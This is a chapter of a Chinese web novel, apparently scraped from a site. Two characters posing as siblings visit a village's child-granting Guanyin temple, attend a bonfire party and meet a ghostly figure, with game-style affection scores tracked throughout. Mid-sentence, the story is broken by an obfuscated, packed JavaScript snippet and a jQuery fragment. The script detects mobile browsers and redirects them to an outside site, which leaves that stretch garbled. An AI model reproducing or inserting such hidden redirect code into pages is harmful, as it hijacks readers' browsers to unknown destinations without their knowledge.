“哎哎哎,让让让,扫地呢!”
一位穿着朴素的大娘那着大扫帚清扫着地上的落叶,把两人推到了一边。
赵微尘和金双绛相视后尴尬一笑。
赵微尘弯腰问大娘:“婆婆,这座庙建多久啦?”
大娘不耐烦地瞟了眼赵微尘,才眯着眼睛想了一会儿:“十几二十年前?我记得是一个装修队开山开出来一尊像,有个会做手工活的把它修了修,就放在这里当作吉祥物了。”
“后来啊,就传这东西邪门,能让人凭空多个孩子,”大娘说着,手还在金双绛的肚子上轻轻拍了一下,“哎哟,一堆人来,好像还挺灵的呢,你俩也是来求个胖宝宝的啊。”
金双绛讪讪笑着向后撤了撤,还没等再多问两句,大门外就传来脚步声。
金双绛看过去,是一男一女和一个老头。
老头穿着一个深蓝色外套,鬓白被乌黑的染发膏掩盖,提了提气色,眼神不断向另外两个人身上看去。
那个青年身形高大,非常有安全感,长寸头配上低调的皮夹克看上去很成熟,配上不太成熟的长相倒是有几分矛盾,凌厉的眼神从在场几人身上匆匆扫过,有些紧张的抿了抿唇。
身边的粉色短发女孩娇俏可爱,言笑晏晏和村长攀谈着,看上去自然随和很多,一手挎着青年的胳膊,一手扶着圆滚滚的肚子。
“哎,小赵,你怎么也在这里,前两天不是来看过了吗,三天两头往这里跑,是想讨个漂亮老婆?”村长笑着调侃,在看到赵微尘身边的金双绛时面部有些诡异地僵了一瞬。
他提起眉毛问赵微尘:“哎,这位是?”
金双绛热情上前,做自我介绍:“爷爷你好,我是他妹妹,您叫我双绛就好。”
“哎哟,来的时候小赵说自己家里就剩一个人,给我心疼坏了,原来是在闹离家出走,都这么大个人了还调皮,带着妹妹玩两天就赶紧回去!”村长佯装恼怒,轻轻捶了一下赵微尘的肩膀。
赵微尘笑了笑,没搭话。
金双绛注意到刚才还在附近的扫地大娘不知道什么时候离开了,转头发现村长还在盯着‘兄妹’两个。
“哎,一看就是一家人,长得像啊,我叫王贵权,是福佑村的村长,哎……是节气的那个霜降吗?”
没等她开口,赵微尘的声音轻轻飘来:“无双的双,绛色的绛。”
金双绛维持着笑容,听到他的话嘴角微不可察地抽动两下,眸色发深。
“哎呀巧了,这是今早刚来的一对小夫妻,也是为了拜拜我们这儿最有名的观音庙。”王贵权向金双绛二人介绍着。
对面的青年淡淡点头:“范行舟,这是我爱人,尚盈盈。”
【解锁人物:范行舟、尚盈盈】
【范行舟初始好感:0】
【尚盈盈初始好感:5】
“你们好,”尚盈盈微微抬头看向二人,低头有些害羞地笑了一下:“听说这个送子观音很灵,他开了一天的车才到,要不我们先进去看看吧!”
几人走进庙里,大殿中央的黄泥底座上立着一尊唇口微张,眉眼含笑,细瞳吊眉的观音像,面色有些破落的白,头发顺直,衣着简单,披着一层薄薄的白纱。
在昏暗的光线下看久了莫名会觉得那观音像是会呼吸。
大殿内部并不是由木头支撑,而是一整片的黄土壁,金双绛这才注意到观音庙原来被建在一座与其齐平的小山旁,两根粗壮的圆木柱子抵着房梁,五人走到拜垫旁,从台上取了香。
尚盈盈拖着身子,行动有些不方便,范行舟又替她拿了三根,两人一起跪在拜垫上,由于肚子不是太方便,尚盈盈尽可能地低下头,以表真诚。
赵微尘前天就来过,就和村长站在月台上等着进去参观的三人。
金双绛四处转了一圈,刚好绕回来和范行舟把尚盈盈从拜垫上扶起,随口说:“做母亲很不容易的。”
尚盈盈点头:“我们倒也不是想求个双生子,就是想孩子可以平平安安的。”
金双绛从兜里拿出纸巾,替尚盈盈擦去额头上的薄汗:“今天气温回升,你身子重的话要记得多休息。”
‘尚盈盈好感+5’
她又弯腰对着尚盈盈的肚子说:“小宝贝,祝你能平安长大。”
金双绛眼底笑意更盛了几分,往旁边看去,范行舟对二人之间的对话丝毫不感兴趣,反倒对这里的建筑布局格外关心。
金双绛的视线被尚盈盈注意到,她开口解释:“他是学建筑的,职业病犯了。”
“走啦!”
三个人走出大殿,王贵权推着一个小伙子过来:“这是我小儿子,王竟,一会儿就让他带着你们在村子附近转转,晚上还有篝火晚会,你们要是感兴趣可以一起来玩啊!”
王竟戴着一副黑边眼镜,很瘦削,眼下一片乌青,听着他爹的话推了下眼镜,微微点头。
王竟带着范行舟和尚盈盈往村子西边去了,王贵权跟赵微尘又客气了几句也离开了,金双绛趁机又说了几句拍马屁的好话,假装自己是什么都不懂的小妹,对什么都好奇。
对于这个孙女一样的小姑娘,王贵权倒是没多大防备。
‘王贵权好感+25’
【王贵权(人类)
年龄:56
武器:巧手
等级评定:二星】
金双绛有些惊讶,饶是赵微尘的三星在普通人里就很强了,这个王贵权竟然有二星,也就是说她没有任何数值低于100。
两人转了几圈又去隔壁邻居家里蹭了一顿午饭,顺便打听了有关篝火晚会的事情。
据王伯伯所说,村里的篝火晚会没有固定的日子,一年一次或者好几次的情况经常发生。
就是图个吉利,给大家热闹热闹啥的。
“我还发现啊,村里要是来了像你们这样的客人,就总搞这些活动,我们年纪大了,去了就是坐在一边聊天,看你们年轻人耍。”
金双绛回忆着刘姨的话,嘱咐赵微尘小心除了自己任何人端过来的食物和酒水。
赵微尘应了一声,回头把门关好,转身后止住了向前的动作,脖子贴上一个冰凉的东西。
侧眸,对上一道玩味的视线。
“我的名字,你怎么会知道?”
赵微尘呼吸一滞,空气在这宁静的空间里似乎都变得有些粘稠,薄唇轻启竟满是疑惑:“那是你的名字?”
赵微尘指尖轻点竹棍,将它从脖颈间推开,没受阻力,随后指向竹棍侧边,精准的在一片细纹中找到了两个字——双绛。
金双绛脸色七变八变,茫然无措,恍然大悟,但赵微尘硬是没找出来一点错怪别人的尴尬。
“是你自己刻的?”
金双绛揉着耳垂,模棱两可说:“应该是吧,”其实太久远了,自己都有些记不清,“你眼神倒是挺好。”
“嗯。”
两人之前已经计划好晚上要在尚盈盈他们附近蹲点,下午准备好好休息。
赵微尘已经枕着胳膊躺在单人床上,含着笑看着小厅里站着的金双绛:“妹妹不应该对哥哥动粗,不要OOC。”
旋即闭上眼睛,听着金双绛发自肺腑的声音:“我演技很好,谢谢提醒!”
日落西山。
“嘿!哈!嘿!哈!”
大院里围了四十多个人,中间高耸的火堆旁一个全身挂着各种颜色彩条带车黑棕色面具的男人正一蹦一跳,手里的装饰物沙沙作响。
金双绛站在赵微
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315389|198946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
尘身边,两只眼睛一直在往左前方瞟,顺着视线看过去,一只约莫六十公斤重的猪被架在特制铁桶里烤着。
由于金双绛去问还有多长时间能吃的次数过多,被大叔的无情铁手驱逐后悻悻回到了这里。
恰好尚盈盈和范行舟就在不远处坐着,神情有些严肃地观察着四周,金双绛绕了过去,从尚盈盈背后伸出拳头放在她侧面。
“是不是好久没来这么热闹的地方了,一时间有些不适应,”金双绛张开手,一颗大白兔奶糖出现在她掌心,“吃颗糖会不会好一点。”
尚盈盈愣了一下,才接过金双绛给出的糖,一双大眼睛亮晶晶地看着突然出现的金双绛。
‘尚盈盈好感+10’
三个人简单聊了聊,王竟带着他俩去体验了福佑村很火的泥塑手工,还去溪边拍了照片,一下午过的很充裕,导致现在没有太多精力去玩耍了。
话题终止在金双绛敏锐的听到大叔说烤猪好了的那一瞬间,尚盈盈实在是疲惫,就剩范行舟跟着金双绛去尝尝鲜。
“小哥,今天一天都没看你笑过,和老婆出来玩不高兴?”金双绛拿着铁盘,上面放了四晚肉和一碗饭,范行舟跟着转了一圈拿了两瓶矿泉水。
“你看起来无忧无虑的。”他突然没头没尾地说了这么一句。
“哈哈,我这是热爱生活,别太羡慕。”金双绛试图掌握走着吃饭,但失败了。
“你这么做,她晚上回家以后会写‘世界上真的不能没有女孩子’小作文然后把我拉起来听,很烦。”
金双绛咬着勺子,差点没掉:“啊?不能吧。”
范行舟沉默着看了眼她,向前大步走去,而金双绛也看请了他眼下淡淡的乌黑,没忍住笑了出来。
‘范行舟好感+5’
小孩子聚到一堆嘻嘻哈哈的聊着,火光照的大家的脸都暖烘烘的。
赵微尘从一边走了过来:“那些东西现在都在家里睡觉,这里应该都是活人,你……”五个空碗堆在他面前,那张永远温和的脸难得崩裂,低声凑到金双绛耳边,“不是说不要随便动这里的食物吗?”
“你妹妹我有法宝护体,哥哥,再去给我乘三碗。”
“……”
王贵权推着一个酒钢走到篝火边,四处纷发酒碗,范行舟和尚盈盈借口推脱,金双绛非常豪爽的干了一整碗,被一堆人围着夸孩子大方。
看着王贵权殷切的视线,赵微尘不好推脱,假装抿了一小口,被乱跑的孩子撞到,部分酒水也灌进嗓子。
“咳咳……”
金双绛顺着他的背,在一边劝着:“吐不出来就别吐了,没关系的,这酒应该没有问题。”
赵微尘又喝了半瓶矿泉水,才直起身子说话:“他们……咳咳……差不多散了吧,我们什么时候行动?”
“那边还要好久呢,我陪你回去休息一下吧,刚好我也要消消食。”
圆月当空。
金双绛站在窗边,看到远处耀眼的火光被熄灭,拉上帘子转身看见赵微尘脸色发白靠在门边,似乎是在等待她的指示。
两人悄咪咪摸出门,观察着四周动静,夜里静悄悄的,只有二人的脚步声。
福佑村的街道没有路灯,金双绛五感超出常人,靠着微弱月光也能看清事物。
兀地,她停住了脚步,将赵微尘拉到一边,透过草丛的缝隙,她看到了一个身姿窈窕的女人。
那人走路似若无骨,发丝盖住身体随着身形微微晃动,肩膀极窄,看不到脚步,整个人像是扎根地地的垂头鲜花。
‘咚——!’
赵微尘忽然晕倒,头磕在石板路上,发出了一道不大不小的响声。
那朵‘鲜花’似乎也听到了,缓缓转过头……